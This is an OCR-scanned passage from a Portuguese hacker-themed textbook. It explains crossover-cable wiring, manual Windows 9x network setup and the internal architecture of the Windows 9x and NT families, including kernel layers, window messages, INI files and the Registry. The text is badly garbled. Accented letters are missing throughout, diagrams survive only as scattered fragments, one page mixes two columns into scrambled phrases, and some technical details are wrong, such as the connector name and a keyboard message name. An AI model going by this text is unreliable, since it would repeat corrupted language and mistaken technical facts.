informtica j vendem esses cabos prontos, mas, se voc quiser aprender como
mont-Ios, observe no quadro abaixo a seqncia correta de clipagem no cabo,
lembrando que o conector (ponta do cabo) deve ser RJ-5M:
Ponta A
1- Branco/iaranja
2- Laranja
3- Branco/Verde
4- Azul
5- Branco/Azul
6- Verde
7- Branco/Marrom
8- Marrom

Ponta B
l~Branc()/Verde .
2- Verde
3- BrancolLaranja
4- Azul
5- Branco/Azul
6- Laranja
7- Branco/Marrom
8- Marrom

Agora, basta apenas configurar os computadores para estabelecer uma


conexo de rede. Ateno! Nunca use um cabo cross-over em uma rede com
hubs. A risco de danillcar o equipamento.

Configurando a rede
Com todas as instalaes de hardware completas, chega a hora de conftgurar os
computadores. Para montagem da rede, vamos utilizar o protocolo TCP/lP visto
anteriormente, pois esse mais flexvel e conftvel.A conftgurao do endereo IP
ftca a critrio de quem est montando a rede, isso porque o prprio Wmdows
pode designar um IP automaticamente para cada mquina se desejado. Aqui, ns
atribuiremos manualmente os IPs.

Windows 9.x
Em primeiro lugar, voc dever utilizar a faixa IPs que esto reservadas para as
redes domsticas. Esse nmero ftca entre 192.168.0.1 e 192.168.255.254, alm
disso, o endereo de cada micro deve ser diferente para que no haja conflito
entre os dois. Tambm devemos conferir se o protocolo TCP/lP est instalado.
Para tanto, abra o painel de controle e v em "Redes", se o protocolo no estiver

1591

I Redes 1

I Universidade

H4CK3R I

listado na guia "Configurao", ento ser necessrio instal-Io. Aproveite tambm para instalar o "Cliente para redes Microsoft" e o "Compartilhamento de
arquivos e impressoras para redes Microsoft". Ento, dique no boto
"compartilhamento de arquivos e impressoras" e marque a opo "Desejo que
outros usurios tenham acesso aos meus arquivos".
Aps decidir o nmero de Ip, hora de prosseguir. Abra novamente o
cone de redes no painel de controle, escolha o protocolo TCP/lP e clique no
boto de propriedades. Uma nova janela ser aberta, ento clique na guia "Endereo IP" e marque a opo "Especificar um endereo IP", preencha o campo
do IP com o nmero de sua preferncia e, no campo da sub-mscara de rede,
voc deve colocar o seguinte nmero: 255.255.255.0.
Agora ns devemos identificar o computador e o grupo de trabalho, para
isso, dique na guia "Identificao" na janela de redes. Lembrando que o nome
dos computadores pode ser diferente, mas a grupo de trabalho deve ser o
mesmo. O computador ser reinicializado, mas desta vez, ele pedir uma senha
e um login para a rede.
Pronto, se os dois computadores estiverem conectados e configurados
corretamente, voc deve ter sua rede rodando sem problemas. Para compartilhar uma pasta, basta apenas clicar com o boto direito do mouse na pasta
desejada e acessar as opes de compartilhamento.

Redes1 [

Plataforma

Windows
Captulo
"Aujourd'hui rOI;demain rien ",I
(Ditado popular francs]

1 Hoje

rei.

alllanl1

nada.

I Universidade

H4CK3R I

Costuma-se dizer que mais de 90% dos computadores destinados ao usurio


final - seja em empresas ou em casa - possuem algum sistema Microsoft
Windows instalado. Esses nmeros podem at ser questionados, mas inegvel
que a empresa fez um bom trabalho de usabilidade (e de marketing!) para
fazer o usurio e o desenvolve dor de software acreditarem que o Windows a
nica opo de sistema operacional para leigos.
Hoje a realidade at um pouco pior que isso. As pessoas compram seus
computadores em supermercados com Windows instalado de fbrica e acreditam que o programa parte intrnseca da mquina. Elas no acham que precisem de opes. Assim como compra-se um automvel j com o volante, compra-se computadores j com o sistema da gigante de Redmond.

As ~~famlias" Windows
H duas correntes de desenvolvimento do Microsoft Windows, formando quase que duas plataformas completamente diferentes internamente, embora conservando a mesma aparncia externa.

Famlia Win9x
Composta pelos sistemas Windows 95, Windows 98 e Windows Me, essa
famlia caracteriza-se por possuir um kernel em parte baseado no antigo MSDOS e, portanto, compatibilidade com programas antigos. Tambm por isso
possuem algumas limitaes.
A famlia Win9x uma verso quase totalmente reescrita do Windows 3, que
no era exatamente um sistema operacional. O Windows 3 era considerado por
alguns apenas como uma interface grfica que rodava em cima do MS-DOS.Os
autores concordam com essa afIrmao apenas em parte. O Windows 3 acrescentava caractersticas h muito desejadas pelos usurios e j presente h alguns anos em sistemas Macintosh, como o processamento multitarefa e um
melhor gerenciamento de memria. E o usurio podia interagir com o sistema
utilizando um dispositivo apontador, o mouse. Isso desobrigava-o a decorar dezenas de comandos para chamar seus programas e gerenciar seus arquivos. Com
efeito, podemos dizer que o conjunto MS-DOS+ Windows 3 deveria ser considerado um sistema operacional completo.
O Windows 95 era um passo frente. As APIs (Application Programming
Interfaces - uma espcie de "tomada" do sistema operacional em que voc
encaixa o seu programa) foram completamente remodeladas. Mas o kernel do
sistema era um "frankenstein" contendo vrios elementos novos costurados em
uma verso atualizada do velho MS-DOS,embora totalmente escondido. As verses subseqentes (Windows 98, Windows 98 SE e Windows Me) ainda carregam verses (sempre atualizadas, verdade) desse kernel. Como o MS-DOSera
monotarefa, transform-Io em um sistema multitarefa como o Windows requereu diversos work-arounds e programas externos rodando na rea do usurio e

41
Plataforma Windows [

Universidade 1 ano

executando tarefas que seriam do kemel. O gerenciamento de memria um


exemplo. Talvez isso explique a conhecida instabilidade desses sistemas, especialmente os erros do tipo GPEA adoo do MS-DOScomo ponto de partida
para o desenvolvimento das novas verses do Windows teve, entretanto, a vantagem de oferecer compatibilidade a software e hardware antigos.

Famlia WinNT
composta pelos sistemas operacionais Windows NT, Windows 2000 e
Windows :xp2. Sua primeira verso, o Windows NT, foi desenvolvida para ser o
sistema operacional de redes da Microsoft. Utilizando tecnologia de rede do
LAN Manager com a interface grfica do Windows 3.1 e um novo projeto de
kemel, o Windows NT pretendia brigar num mercado dominado por mquinas
Unix e Novell. Mesmo com desempenho, escalabilidade e confiabilidade, na
poca, menores do que os de seus adversrios, a Microsoft conseguiu, em poucos anos, alavancar o Windows NT como a plataforma de redes mais vivel e
utilizada. Fez isso baseada em trs princpios:
~ Preo baixo: uma licena do Windows NT custava muitssimo menos que
licenas do Novell Netware ou de qualquer sabor de Unix. E rodava em servidores baseados em processadores Intel, hardware mais barato que as carssimas
RISC dos Unices.
~ Facilidade de configurao e operao: enquanto os servidores Unix e
Novell possuam interfaces com o usurio baseadas em caractere, o Windows
NT disponibilizava para os administradores de sistema uma interface grfica
semelhante dos micros desktop.
~ Marketing: a mquina de divulgao da empresa, localizada em Redmond,
no estado de Washington, EUA, mundialmente conhecida. Eles foram muito
felizes ao promover o novo sistema operacional de redes da Microsoft, evidenciando ao mximo na mdia os dois princpios anteriores.
Os sistemas operacionais para servidores de rede da Microsoft, impulsionados pelos trs princpios citados e auxiliados pela inrcia dos concorrentes,
levaram o Windows NT ao primeiro lugar em servidores administrativos durante a dcada de 90. Mas a Microsoft percebeu que havia um mercado tambm para SOs que rodassem nos computadores das pessoas, em casa ou no
escritrio. Essas pessoas necessitavam da estabilidade e confiabilidade que o
kerne1 do Windows NT proporcionava.
A famlia Windows NT logo ganhou verses para ser usada nas mquinascliente (ou seja, em casa ou no escritrio). Era chamado de Windows NT
Workstation, e possua uma estabilidade muito superior de qualquer mem2 Apesar de a Microsoft divulgar que o Windows 2000 um sistema totalmente reescrito, apenas
baseado no Windows NT, sabe-se por fontes no oflciais que ele ainda possui muita coisa intocada do
NT original. O Windows Xp, por outro lado, possui partes do Windows 2000 e do Windows Me, para
garantir compatibilidade
com os programas antigos do usurio. O que quer dizer que ainda h
tecnologias do NT, do Win9x e mesmo do velho MS-DOS nele.

1651
I

Plataforma

Windows

I Universidade

H4CK3R I

bro da famlia Win9x at hoje. Era, basicamente, o kerne1 do NT Server sem os


servios de servidor e com algumas modificaes para adapt-Io aos computadores de mesa. Alguns usurios, cansados de ter de reiniciar a mquina e per-

der dados a cada GPF,migraram para o Windows NT Workstation3 .


Mas nem tudo eram flores. O kerne1 do Windows NT era muito diferente do
kernel da famliaWin9x. Quebrar a compatibilidade entre sistemas operacionais
significava quebrar a compatibilidade com software e hardware antigos. Muitos deles simplesmente no funcionariam no Windows NT. O usurio deveria
escolher, ento, entre estabilidade e compatibilidade.
A ltima encarnao do Windows, batizada de XP,pretende acabar com esse
problema. Utilizando tcnicas de convergncia entre as tecnologias das famlias Win9x e NT, a Microsoft conseguiu criar uma verso de seu produto mais
famoso que, segundo ela, alia a estabilidade do Windows 2000 e a compatibilidade do Windows Me. A verso Server do Windows Xp, chamada de Windows
2003 Server4, deve estar no mercado em meados deste ano.

Nos bastidores...
Qualquer um que tenha o objetivo de se tornar um "hacker" (qualquer que
seja o sentido que voc empregue palavra) deve conhecer profundamente o
funcionamento de pelo menos um sistema operacional. Apesar de os sistemas
Unix serem uma boa escola, por sua modularizao extremamente didtica,
entender o que se passa "nas coxias" dos sistemas da Microsoft ajuda a entender como um sistema pode evoluir, e possveis maneiras de contornar problemas inerentes compatibilidade com tecnologias antigas.
Devido natureza proprietria e fechada dos produtos Microsoft, nem todas
as informaes sobre os sistemas so divulgadas. Este captulo tomou como
ponto de partida o knowledge base autorizado pela empresa. No entraremos
em muitos detalhes a respeito do kernel do sistema.

Estrutura
De uma forma geral, ambas as famlias do sistema operacional Windows empregam o conceito de microkernel: apenas os servios mais bsicos so
implementados. Todos os outros so executados por programas externos, que
rodam em user mode, ou seja, como programas comuns. Grosso modo, isso
significa que o usurio pode perigosamente ter acesso a partes do kernel.
3 Alguns usurios tentaram outros sistemas, como o OS/2 (antes de ser morto pela IBM), o Macintosh
(neste caso, substituindo no s o software, mas todo o computador) e, mais recentemente, opes
como o BeOS, o FreeBSD e o linux. Com exceo do OS/2 e do BeOS (recentemente descontinuado), a
maioria das pessoas que migrou para outras plataformas no retornou ao Windows. Sintomtico?
4 Essa verso teve oficialmente quatro nomes diferentes, e outros tantos extra-oficiais. Chegou a ser
chamada de Windows .NET Server numa referncia s novas tecnologias baseadas em XML da empresa, mas ao que parece a Microsoft desistiu da associao no nome. Mesmo assim, o produto est sendo
chamado no site da empresa de "o aglutinador das tecnologias .NET" ("the glue to all .NET technologies'').

,61
Plataforma Windows I

Universidade 1ano

UserMode

,,

,,

,,

,,
,

,
,,
"

~~

Kernel Mode

~~"

Hardware

Internamente, as duas famlias de produtos Windows so muito diferentes,


embora exista uma camada de compatibilidade para que ambas as plataformas
possam compartilhar os mesmos drivers de equipamentos e perifricos, os
famigerados Device Drivers. A famlia NT possui ainda camadas de compatibilidade de software que permite ao sistema operacional executar com sucesso
programas desenvolvidos para a famliaWin9x e mesmo para padres aliengenas
como UnixIPOSIX,Windows 16 bits e OS/2 da IBM.
~ Famlia Wm9x

Acessrios

Programas
Shell de 32-bits

C:J
I

Registro

NcleodoWindows98 ("core")
Gerenciadorde
sistemasde
Gerenciadorde
arquIvos
Configurao
instalveis(lFS)

EJ

Oevice

Gerenciadorde
DriversWDM

Orivers

1671
I

Plataforma

Windows

I Universidade

H4CK3R I

Observe atentamente o diagrama. A estrutura interna do Windows 9x aparentemente modular. H uma diviso clara entre o ncleo (normalmente chamado de core) e as outras partes do sistema. Tal diviso, embora visvel no
papel, extremamente tnue na prtica. Vrios processos crticos do sistema
rodam na mesma rea de memria e disputam os mesmos recursos de
processamento que os programas do usurio. Apesar de simplificar o desenvolvimento do SO e permitir compatibilidade com hardware e software legados, no h como escapar das instabilidades que essa estrutura acarreta.
Os programas do usurio (planilha, editor de textos, navegador, etc.) no acessam
o ncleo diretamente. Cada programa de 32 bits roda em uma mquina virtual
separada, e tem a impresso de possuir um hardware e um ncleo do sistema
operacional exclusivos. Programas antigos para o MS-DOStambm rodam em
mquinas virtuais separadas, mesmo porque eles tendem a capturar todos os recursos da mquina para si e, no fossem as mquina virtuais, seria impossvel rodlos no Wmdows.J os programas de 16 bits do Wmdows 3, devido sua natureza
multitarefa colaborativa, rodam todos numa mesma mquina virtual de 16 bits.
H um shell para intetfacear as mensagens entre cada mquina virtual dos programas e o ncleo real do sistema.Esseshell tambm se encarrega de fornecer os widgets
(botes, barras de rolagem, indicadores de progresso, decorao das janelas) para as
aplicaes e de mostrar as janelas j montadas para o usurio, de forma que ele possa
interagir com o sistema.Esseshell tambm fornece alguns dos utilitriose ferramentas
do sistema,como o Wmdows Explorer,o Painel de Controle e o Ambiente de Rede.

Registro

N,eodo Windows 98("core") ,/


Gerenciadorde
sistemasde
arquivos
instalves(lFS)

tE

Gerenpiadorde

II Configurao

I
Gerenciadorde
DriversWDM

(Botes,barras de progresso,caixas de dilogo


modos de visualizao de janelas...)

o corao da famlia Win9x o core system. Composto por trs componentes: o kernel, responsvel pelo controle de processos, de EIS e do hardware; o
user, que controla os elementos manipulveis pelo usurio (janelas, eventos
disparados pelo usurio, cones, menus) e multimdia; e o GDI ou Graphics
Device Interface, que interage com o hardware de vdeo. O subsistema de impresso tambm est situado no GDI.

1681
Plataforma Windows [

Universidade 1 ano

]C

Programas

Acessrios

Shell de 32-bits
Ncleo do Windows
Gerenciador

VMM

:J

Registro

98 ("core")

de

sistemas de

Gerenqi-aorde
1I COr)fiyurao

arquivos

instalveis(lFS)

Gerenciador de
Drivers WDM

~y-evice Orivers

GOl
Kernel

A famlia Win9x tem o compromisso de ser compatvel com aplicativos


antigos de 16 bits do Windows 3.11 e mesmo do MS-DOS.Portanto, os componentes kernel, user e GDI do ncleo so, na verdade, duplas de arquivos.
Os componentes correspondentes do ancio Windows 3.11 ainda esto presentes e os aplicativos antigos os acessam. Esse um dos maiores calcanhares-de-aquiles da famlia Win9x: os programas de 16 bits no trabalham em
modo protegido, nem acessam um core que trabalhe nesse modo. O resultado a destruio completa da preempo multitarefa do sistema e do
gerenciamento de memria.
Entre o ncleo e os drivers para os dispositivos de hardware existe uma camada tambm de interface, com rotinas que tornam o core do Windows independente do hardware utilizado. Um dos componentes dessa camada o VMM ou
Virtual Machine Manager. o VMM que cria e administra cada uma das mquinas virtuais para todos os programas do usurio, e o prprio ncleo do sistema
tem sua prpria VM.

"im
.'

EI

.''''''''.'

............
<, Programas
Shell de 32-bits

Registro

Ncleo do Windows 98 ("core")


Gerenciador
sistemas

de

de
Gerenciador

arquivos
II Configurao
instalveis (lFS)

Agendador
de processos

Interdacepara
o MS-DOS
em modo
protegido

de

Gerenciador de

II Orivers WOM

Device Orivers

1691
I

Plataforma

Windows

I Universidade

H4CK3R I

Outro componente dessa camada o IFS ou Installable File System. O sistema no preparado para reconhecer um nmero [mito de sistemas de arquivos de maneira nativa. Em vez disso, o IFSpermite que novos file systems sejam
"plugados", fornecendo assim compatibilidade para virtualmente quaisquer tipos deles - basta que algum escreva o mdulo correspondente.

Acessrios

Programas

I'

Shellde32-bits
Ncleo do Windows

..

: ..o,',"

~~

_-"_~44-ft~-"

~~/[~V~M~~I

I rC :J
II

98 ("core")

Gerenciador de
Drivers WDM

"Gr~~Ciadorde

Config'!:Ir~o

Registro

. ' ,

'. ..

Gerenciador de EIS (lOS)

~o

Camadas diversas*
Camadas SCSI

Oriver de conexo
Mini-camada de conexo SCSI

O Gerenciador de Configuraes,
por outro lado, o responsvel pela
auto-matiz ao da instalao
de
hardware Plug and Play e seus drivers.

O mdulo rege todo o processo de


instalao,

configurao

e desins-

talao, e mantm atualizada a base


de dados de hardware no Registro.

Programas

Acessrios

Shell de 32-bits

Ncleo do Windows 98 ("core")


GeJ8Ilciada(d""
s";stemas de

arquIvos
instalveis
,
,

(IFS)

..,
, ,
-

170 I
Plataforma Windows

" I'
. ,I

Gerenciadorde
DriversWDM

Universidade 1 ano

Por fIm, o WDM (Win32 Driver Model) uma camada de traduo entre os
drivers de dispositivo e o ncleo. Ele "engana" o driver, fazendo-o pensar que
est instalado no kernel de um Windows NT. Com isso, fornecedores de
hardware podem desenvolver drivers que funcionem em ambas as plataformas indiferentemente.
A camada do sistema operacional mais prxima do hardware a de device
drivers. Estes so compostos por dois tipos complementares de drivers, os
Universais e os Mini-drivers. Veja a ilustrao:

Device

Os drivers Universais so grandes guarda-chuvas com especifIcaes genricas para os dispositivos. Por exemplo, h um driver chamado Universal Modem
que contm informaes genricas compartilhadas pela maioria dos modens.
Isso facilita sobremaneira o desenvolvimento de drivers com as caractersticas
especficas. Tais caractersticas so implementadas em drivers auxiliares chamados de Mini-drivers. No nosso exemplo dos modens, um fabricante pode se
basear no driver Universal e escrever um Mini-driver apenas com as
especifIcaes que diferirem. Note ainda que muitos dispositivos de hardware
podem trabalhar somente com o driver universal.
O tipo de driver mais comum o Virtualization Driver, ou VxD.Alguns dispositivos de hardware devem ser capazes de atender simultaneamente a solicitaes de diversos programas. Esses dispositivos usam VxDs para criar vrias instncias de si mesmos. Cada mquina virtual do sistema pensa, ento, que o
hardware em questo exclusivo para si.
O ltimo elemento , em companhia da Interface com o Usurio, o mais palpvel. O Registro um banco de dados que guarda as confIguraes globais de todo
o sistema, bem como as de cada aplicativo. Qualquer alterao comportamental
ou de funcionamento do sistema deve ser efetuada no Registro.
~ FamliaWinNT
A arquitetura da famlia WinNT difere radicalmente da famlia Win9x. Nela, h
uma separao explcita entre o modo de operao do kerne1 e o modo de
operao do usurio. Os programas do usurio rodam em um espao de memria exclusivo e possuem um tempo determinado de uso de cpu. Os processos
rodando no modo kerne1 esto, dessa forma, protegidos contra a ao predatria de programas "mal-educados".
I

Plataforma

71

Windows

I Universidade

H4CK3R I

System
Support
processes

Service
Processes

User
applications

SubsystemOLls

Enviroment
subsystems

User Mode
Kernel Mode

Executive
~~r~elm ..ml[MOevceOriv:rs J
~H.a.rdware

Windowing
andgraphics

.Abstra'~ti.~~...f~Y.~..i::~~~.~~:.:...1

Ao contrrio de sistemas operacionais mais antigos, como o Unix original e


os sistemas de mainframes, o kernel do Windows NT e descendentes no
monoltico. Em vez de carregar todos os tipos de device drivers possveis e
imaginveis dentro da" cachola" ,o Windows emprega o conceito de microkerne1:
um ncleo com apenas os servios mais crticos e essenciais que pode ser
comp1ementado com programas auxiliares externos. A maioria desses programas externos roda em modo user, deixando o kernel mo de apenas para os
servios de mais baixo nvel e alta prioridade. Tais servios esto divididos em
cinco grandes componentes. O primeiro o GDI, que controla os dispositivos
de vdeo de forma semelhante ao da famlia Win9x.
Os quatro outros componentes - Windows Executive, Kernel, Device Drivers
e HAL- so to intimamente ligados entre si que aparecem num mesmo quadro
em nosso diagrama. O Executive abriga diversos mdulos de interface entre o
kernel e os outros componentes, tanto para o usurio e programas quanto para
o hardware - poderia ser considerado um "shell" do kernel. Os device drivers
trabalham de maneira tambm muito semelhante aos da famlia Win9x, com
arquitetura baseada em VxDs e WDM. Por ltimo, o Hardware Abstraction Layer
ou HAL,fornece uma camada de abstrao para o kernel.
O princpio de funcionamento do HAL muito parecido com o do modelo
Universal!Mini-driver. O HAL"engana" o ncleo do Windows, fazendo com que
ele acredite que o hardware seja sempre o mesmo. Se alguma coisa na arquitetura do PC mudar - por exemplo, um novo mtodo de acesso memria -,
basta instalar um novo HAL. No haver necessidade de reinstalar uma verso
mais nova do Windows, muito menos reescrev-Io todo novamente.
Os sistemas da famlia WinNT tambm se utilizam do conceito de Registro
para manter as configuraes do sistema. A estrutura do registro , inclusive,
muito parecida com a da famlia Win9x.
721
Plataforma

Windows I

Universidade

~,
; .-: /~

ano

..

I
I
I
I

I
I
I
I

I
I

"

User

Kernel Mede

Observe
Dentro

as semelhanas

9x. Trs outros


de

Sistema)

para
que

mdulos

cuidam

o kernel.
fornece

Lembre-se

do

Um

um

(Gerenciador

mdulo

com

a famlia NT

vrios

subsistemas

virtuais para as aplicaes

exclusivo

para segurana

rio e comunica-se
sistema
Queime

um

mostrados
contrar
Depois
chope

para

prover

pouco

disso, largue

em

negar

cada

Segurana,

os subsistemas

externos.

multiusuria

e, portanto,

os servios

mdulo,

ne-

chama-

de E/S do Windows

(serial e redes) e principal-

(discos e fitas).
usurio

controlam

os dilogos

que

a criao

h um

subsistema

de autenticao

de Referncia

de

para

de Segurana

no

o usuncleo

acesso.

e interage

sobre

e mtodos

de

dos usurios. Observe

o Gerenciador
ou

para

externa

modo

apresenta

de neurnios

a funciona
explicaes

que

com

agrega

comunicao

rodam

e de Chamadas

processos

de acesso. O ltimo

de armazenamento

que

de

de Referncia

e segurana

e controle

e o da famlia Win9x.
idntica ao do Windows

de Processos

instncias

verdadeiramente

de hardware,

os dispositivos

funo

o Gerenciador

mquinas

do

de

de E/S (I/O Manager),

para dispositivos

com

de Objetos,

servios de autenticao

do de Gerenciador

Os

VMM

gerenciamento

novo

de que

entre este diagrama

mdulo

cessita de rotinas de autenticao

mente

. .

e diferenas

do Executive, temos

Mede

um

e tente descobrir
com

os outros.

deles, sem

o livro, arrume-se,

saia de

como
Pesquise

deixar
casa

cada
na

um

de procurar
e v ver

dos mdulos

Internet
por

at en-

nenhum.

gente. Tomar

um

talvez...

1731
I

Plataforma

Windows

I Universidade

H4CK3R I

Entidades
o Windows um sistema operacional baseado em eventos. Por eventos, entendemos qualquer atividade em algum hardware - o movimento do mouse,
por exemplo - ou os sinais provenientes de programas - quando uma janela
fechada.
O Windows possui trs entidades principais: programas, janelas e mensagens. Os programas so os aplicativos que as pessoas usam: seu editor de
textos preferido, a calculadora, o jogo de Pacincia ou o emulado r de terminal. Cada programa possui uma ou mais janelas. O usurio se comunica com
os programas atravs do sistema operacional, que se utiliza de mensagens
para tal. Cada programa se comunica com suas vrias janelas tambm atravs de mensagens.
.
Os programas so compostos de um ou mais arquivos. Os tipos mais comuns
de arquivos em programas para Windows so os de extenso EXE (as partes
do cdigo especficas daquele programa), DLL (bibliotecas compartilhados de
funes) e, mais recentemente, controles ActiveX (um tipo especial de DLL
contendo extenses multimdia).
As DLLsso componentes importantes nos sistemas Windows. Acrnimo para
Dinamic Link Libraries, elas so bibliotecas de funes que podem ser acessadas
por qualquer aplicativo. Alm de reduzir o tamanho dos arquivos EXE, so as
DLLs que permitem que vrios programas compartilhem o mesmo recurso ou
a mesma caracterstica. Por exemplo, todos os aplicativos para Windows possuem a mesma aparncia devido a uma DLLem especial, a GDI.DLL,que cuida
da interface grfica com o usurio. Praticamente todo o kernel do Windows
baseado em arquivos DLP . Programadores podem, ainda, utilizar funes das
Microsoft Foundation Classes para facilitar o seu trabalho. As MFCs esto contidas numa DLL chamada MFC.DLL.
Os programas geram diversas janelas. Alm da apresentao visual, as janelas
so entidades que encerram em si dezenas, s vezes centenas, de campos de
informao que controlam cores, tamanho da janela, tamanho da borda, posio dos objetos dentro da janela, etc. Um deles chamado de handJe, que identifica o programa que gerou a janela. Outro campo o window hand1e, que
identifica a janela com um nmero nico (diferente de zero) no sistema. Um
terceiro campo de interesse o Z-order. a partir dele que o sistema define a
ordem de apresentao das janelas.
Para a comunicao entre o sistema operacional, os programas e suas janelas,
so emitidas mensagens entre eles. Uma mensagem nada mais do que uma
pequena estrutura de dados. Normalmente, ela inclui:

5 Obviamente no estamos considerando as partes do keme1 herdadas do MS-DOS. No Apndice "o Keme1 do
MS-DOS" (que est no CD) temos uma dpida explicao de como funciona o keme1 do MS-DOS.

1741
Plataforma Windows [

Universidade 1ano

~
~
~
~

Timestamp (hora em que foi emitida) da mensagem


Identificador da mensagem
Identificador da janela (window handIe)
Dois ou mais campos para a mensagem em si

o identificador da mensagem informa ao programa ou janela o "assunto" da


mensagem. Os nomes das mensagens so sugestivos, como por exemplo
WM_LBUTTONDOWN (boto esquerdo do mouse foi pressionado)
ou
WM_KEYDOWN (uma tecla foi pressionada). Entretanto, internamente cada
um desses nomes substitudo por uma constante numrica. Os nomes so
apenas mnemnicos6.
As mensagens so geradas de forma bem simples. Vamos imaginar uma situao real: o usurio pressionou a tecla "A:'.O teclado envia ao computador um
trem de dados indicando primeiro que uma tecla foi pressionada, depois qual
tecla foi essa e, em seguida, o nmero ASCIIdo caractere correspondente tecla.
Quando o usurio solta a tecla, o teclado ainda envia um sinal indicando esse
evento. Cada pea de hardware em seu computador possui um sinal eltrico
chamado interrupo associado a ela. A ElOS do computador, quando recebe
um sinal de interrupo, pra tudo o que est fazendo e desvia o processamento
para um determinado endereo associado a essa interrupo, e entrega o controle da CPU ao programa que l reside. Esse programa chamado de
manipulador de interrupes ou interrupt handler.
O interrupt handler no um programa da ElOS e sim uma rotina do sistema
operacional, portanto bvio que o Wmdows instalou l seu prprio manipulador
para montar mensagens baseadas nas interrupes recebidas. A mensagem do
exemplo conter o identificador de mensagens WM_KEYDOWN,um nmero identificando qual tecla foi pressionada e o identificador da janela em que a tecla foi
pressionada. Depois disso, a mensagem ser enviada janela. O teclado gerar
ainda outra mensagem identificada como WM- CHAR,contendo o cdigo ASCII
da tecla. Quando a tecla for solta, gerada uma mensagem WM_KEYRELEASE.
As mensagens geradas vo para uma ma chamada application message queue.
Cada programa possui sua ma, e o Windows direciona corretamente as mensagens para cada um. As aplicaes vo sacando cada mensagem da ma e as
redirecionando para as janelas correspondentes. As janelas, por sua vez, possuem funes embutidas chamadas de window procedures, que tratam os dados
recebidos na mensagem e decidem o que fazer com eles. Algumas mensagens
no so direcionadas a nenhuma janela. Tais mensagens caem no procedimento
default do Windows e so tratadas pelo prprio kernel.
6 No objetivo deste livro servir de referncia para programadores. Entretanto, se voc quiser
realmente aprender como vrus e cavalos de tria funcionam no Windows, necessrio que voc domine
um pouco mais de programao do que o bsico de Visual Basic ou DeIphi. Bons pontos de partida so as
documentaes da Microsoft Foundation Classes (MFC), do Windows Software DeveIopment Kit (WSDK)
e o site oficial da Microsoft (www.microsoft.com).

1751
1

Plataforma

Windows

I Universidade H4CK3R I

Como mesmo que eu fao aquilo?


Todo sistema operacional possui um mecanismo para manter suas configuraes. Com o Windows no podia ser diferente, mas, ao contrrio de vrios
outros SOs que utilizam arquivos de texto puro, a Microsoft criou uma estrutura compilada (binria) e extremamente obscura de guardar as coisas. H prs
e contras nessa abordagem.

Os arquivos INI
o veterano Windows 3 possua uma maneira aparentemente fcil de manter as
configuraes do sistema. Por meio de arquivos de texto simples com extenso
INI, era possvel definir todas as configuraes do Windows e das aplicaes,
carregar drivers de dispositivo e mdulos para o kernel do sistema operacional.
Inicialmente havia dois arquivos, WIN.INI e SYSTEM.INI.O primeiro armazenava as configuraes referentes ao usurio (cores, cones, posio das janelas) e o segundo as partes referentes mquina, ao hardware e ao funcionamento interno do Windows - drivers de dispositivo, programas residentes, caminhos e arquivos internos. O arquivo SYSTEM.INIguardava tambm configuraes dos programas e aplicativos que o usurio instalava em sua mquina.
Mas a vida era dura antes do Windows 95. Os arquivos INI podiam ter um
tamanho mximo de apenas 64 KB. Mesmo sendo um arquivo de texto puro essa
limitao permitia guardar uma quantidade de informaes muito pequena. A
soluo foi colocar, no SYSTEM.INI,apontadores para o local de outros arquivos
INI, e cada aplicao poderia ter o seu. Os programas ainda tinham permisso
de manter suas configuraes no SYSTEM.INI,mas os desenvolvedores eram
encorajados a criar seus prprios INIs. Por exemplo, no SYSTEM.INIhavia uma
indicao para o Microsoft Excel (C/OFFICEIEXCEL.INI), e nele o Excel guardaria suas configuraes. Simples, no? Nem tanto.
No incio, os usurios instalavam poucos programas. Gerenciar poucos INIs
era tarefa fcil para o Windows e para o usurio. Mas, medida que novos programas comearam a aparecer - alguns srios e uma imensa maioria de inutilidades repletas de barulhinhos -, j no era possvel desempenhar tal funo com
a galhardia de outrora. Como determinar qual dos arquivos INI (os de sistema e
os das aplicaes) ter precedncia, caso algum parmetro esteja conflitante?
O limite de 64 KBtambm comeou a ficar pequeno para a quantidade de detalhes que cada aplicao tinha de armazenar, e mesmo o SYSTEM.INIestava repleto
de vetores apontando para os outros INIs. Outros fatores contribuam para o aumento do tamanho dos INIs: aplicativos que eram desinstalados normalmente no
removiam suas linhas do SYSTEM.INI,e mesmo um simples upgrade de programa
(por exemplo, do WordPerfect 2 para o 3), na maioria das vezes, terminava em
configuraes duplicadas no arquivo. No boot, o Wmdows era obrigado a ler o
contedo de paquidrmicos WIN.INI e SYSTEM.INI,que, mesmo menores do que
64 KB, contribuam para a queda de desempenho do sistema.

761
Plataforma Windows [

Universidade 1 ano

Registrar o qu?
A partir do Windows NT,e notadamente no Windows 95, a Microsoft introduziu uma nova maneira de lidar com essas informaes que fosse, ao mesmo
tempo, centralizada e flexvel. Batizada de Registro do Windows (ou, em ingls,
Windows Registry), o novo sistema de armazenamento alivia o SO de ter de
lidar com uma infmidade de arquivos INI espalhados por diversos diretrios.
Mas o que , exatamente, esse negcio de Registro? Podemos defmi-Io como
um banco de dados em que so arquivadas todas as configuraes do sistema.
Sempre que um usurio faz alguma mudana no Painel de Controle, altera alguma associao de arquivo ou instala um programa, tais mudanas so guardadas nele. O sistema ainda usa o Registro para rastrear os softwares instalados,
seus arquivos e como cada programa se relaciona com os outros.
Em termos puramente lgicos, o registro uma entidade nica, embora esteja fisicamente contido em um conjunto de arquivos separados por afinidade de
configurao. Cada um deles possui um tamanho limite de 40 MB - mais do que
suficiente para qualquer aplicao.
Na fanlia Wm9x temos os arquivos SYSTEM.DAT,
que trata das configuraes
de hardware e software, e USERDAT,que trata das configuraes pessoais de cada
usurio. O Wmdows Me ainda possui um terceiro arquivo chamado CLASSES.DAT,
que armazena algumas informaes sobre programas e associaes de arquivos.
Os arquivos SYSTEM.DAT
e CLASSES.DAT,
sendo nicos, esto sempre no diretrio
C\ WINDOWS.Sempre h um USERDATnesse mesmo diretrio, tambm. No entanto, se o seu sistema estiver configurado para permitir perfis, cada usurio ter
seu prprio USERDATno diretrio C\WINDOWS\ Proilles\<nome do usurio>\,
ficando o arquivo do diretrio do Wmdows apenas como default. Quando o usurio faz login no sistema, sua rea de trabalho personalizada ser lida e carregada.
Caso a utilizao de perfis de usurio esteja desabilitada, todos os usurios compartilharo as mesmas preferncias gravadas em C\WINDOWS\USERDAT.
A fanlia WinNT (incluindo a o Windows 2000) mantm todos os arquivos
do registro em %SystemRoot%\System32\Config.Ao contrrio do Windows 9x,
seis arquivos abrigam o registro da famlia NT: DEFAULT.DAT,SAM.DAT,
SECURlTY.DAT,
SOFTWARE.DAT,
SYSTEM.DATe NTUSERDAT.Os arquivos que
contm o registro so chamados de Hives7.
Apesar das diferenas fisicas, logicamente os registros das duas fanlias so muito
